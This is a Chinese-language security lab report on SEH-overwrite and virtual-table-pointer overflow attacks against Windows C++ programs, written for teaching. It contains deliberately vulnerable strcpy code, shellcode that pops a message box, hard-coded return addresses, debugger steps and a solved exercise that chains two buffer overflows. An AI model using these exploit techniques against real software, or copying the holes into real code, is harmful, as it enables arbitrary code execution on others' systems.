虚函数攻击与 SEH

目标

了解 SEH 和虚函数攻击两种攻击方式,通过调试代码来理解进行上述攻击的过程。

测试步骤与结果

SEH 攻击

main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include<windows.h>
#include<string>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x48\xFE\x12\x00";
void MyExceptionHandler(void)
{
printf("got an exception,press Enter to kill process!\n");
getchar();
ExitProcess(1);
}
void test(char* input)
{
char buf[200];
//printf("%d",strlen(shellcode));
int zero=0;
__asm int 3
__try
{
strcpy(buf,input);
zero=4/zero;
}
__except(MyExceptionHandler()){}
}
int main()
{
LoadLibrary("user32.dll");
test(shellcode);
//test("abc");
system("pause");
return 0;
}

在此实验中,我们定义了一个自定义的错误处理函数MyExceptionHandler(),可以观察到,__try中试图除零,因此引发了一个异常,这个异常将由我们自定义的错误处理函数处理。如果strcpy操作溢出了,并精确地将栈帧中的 SEH 异常处理句柄修改为shellcode的入口地址时,操作系统将会错误地使用 shellcode 去处理除 0 异常,代码植入成功。

前面的__asm int 3是为了使得调试器能够以 attach 的方式进行调试。

  1. 在 ollydbg 端完成实时调试配置,将它设置为实时调试器。
  2. 启动程序,在运行到 int 3 断点时成功进入 ollydbg 中。

    初次进入时可能会有这个错误,设置一下 udd 和 plugins 的目录即可。

  3. 找到strcpy函数,并为其设置一个断点。
  4. 此时可以观察到 shellcode 的起始地址为0x12fe48
  5. 触发异常时,我们查看 SEH 链:(查看→SEH 链)
  6. 上方的第一个地址指向了下一个 SEH 记录:0x12ffb0。接着是 SEH 异常处理程序,我们只要把0x12ff1c的内容改成 shellcode 的起始地址就可以了。
  7. 第一个 SEH 地址是0x12ff18,异常处理地址是0x12ff1c,我们的 shellcode 应该填充这些差值空间,总共有 212 个字节(0x12ff1c-0x12ff18)

    回头看一眼我们要填入的 shellcode,最后四字节 (\x48\xFE\x12\x00) 恰好是 shellcode 的起始地址!

  8. 去掉系统中断(asm int 3)后的运行效果如下,弹出对话框正是 shellcode 预期的功能。

虚函数攻击

main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# include <windows.h>
# include <iostream.h>
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x5C\xE3\x42\x00";

class vf {
public:
char buf[200];
virtual void test(void) {
cout<<"Class Vtable::test()"<<endl;
}
}
;
vf overflow, *p;
void main(void) {
LoadLibrary("user32.dll");
char * p_vtable;
p_vtable=overflow.buf-4;
//point to virtual table //__asm int 3 //reset
fake virtual table to 0x004088cc //the address may need to adjusted via runtime debug p_vtable[0]=0x30; p_vtable[1]
=0xE4;
p_vtable[2]=0x42;
p_vtable[3]=0x00;
strcpy(overflow.buf,shellcode1);
//set fake virtual function pointer
p=&overflow;
p->test();
}
  1. strcpy处可能会触发溢出,修改虚函数指针。Vtable的值需要经过一次调试才可得知。

    从这两张图可以看出,缓冲区的入口为0x0042e35c。虚表指针位于缓冲区前,p_vtable定位到了这个指针,它指向了0x0042e358处,进一步证明缓冲区入口正确。

  2. Shellcode 的末尾后四个字节地址应该是0x0042E430

  3. 更换 shellcode 和地址后,成功弹框,shellcode 成功执行。

测试结论

思考题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# include <windows.h>
# include <iostream.h>
# include <stdio.h>
class vf {
public:
char buf[200];
virtual void test(void) {
cout<<"Class Vtable::test()"<<endl;
}
}
;
class vf1 {
public:
char buf[64];
virtual void test(void) {
cout<<"Class Vtable1::test()"<<endl;
}
}
;
vf overflow, *p;
vf1 overflow1, *p1;
void main(int argc, char* argv[]) {
LoadLibrary("user32.dll");
//char * p_vtable;
//p_vtable=overflow.buf-4;
//point to virtual table
//__asm int 3
//reset fake virtual table to 0x004088cc
//the address may need to adjusted via runtime debug
//p_vtable[0]=0x30;
//p_vtable[1]=0xE4;
//p_vtable[2]=0x42;
//p_vtable[3]=0x00;
if (argc == 3) {
strcpy(overflow.buf,argv[1]);
strcpy(overflow1.buf,argv[2]);
//set fake virtual function pointer
p=&overflow;
p->test();
} else {
printf("vf argv1 argv2\n");
}
}
  1. 这应该是利用虚函数攻击的一个例子。其中定义了两个类:vf和 vf1vf具有 200 字节的buf大小,而vf1具有 64 字节的buf大小。我们需要提供两个参数,一个复制到vfbuf区,另一个复制到vf1
    buf区中,要通过vf类的test方法调用 shellcode。

  2. argv[1]被复制到overflow.buf中,起始地址为0x42eb5c。算出其终止地址应为0x42ec20

  3. 第二个strcpy时,将第二个参数拷贝到overflow1.buf中,其首地址为0x42eb14,在overflow上方,我们想到应该可以利用这个关系,溢出这个 64 字节的buf,覆盖掉vtable,让其调用 shellcode

  4. 构造 shellcode 如下,其中插入vf中的 shellcode1 写入弹框代码,插入vf1中的 shellcode2 向下覆盖掉vf1vtable
    ,变为 shellcode1 的尾地址,而令 shellcode1 中最后四字节为 shellcode 第一个指令的地址(即overflow.buf的起始位置)。在这个构造下,可以成功执行 shellcode,以弹出对话框。

  5. 利用成功截图。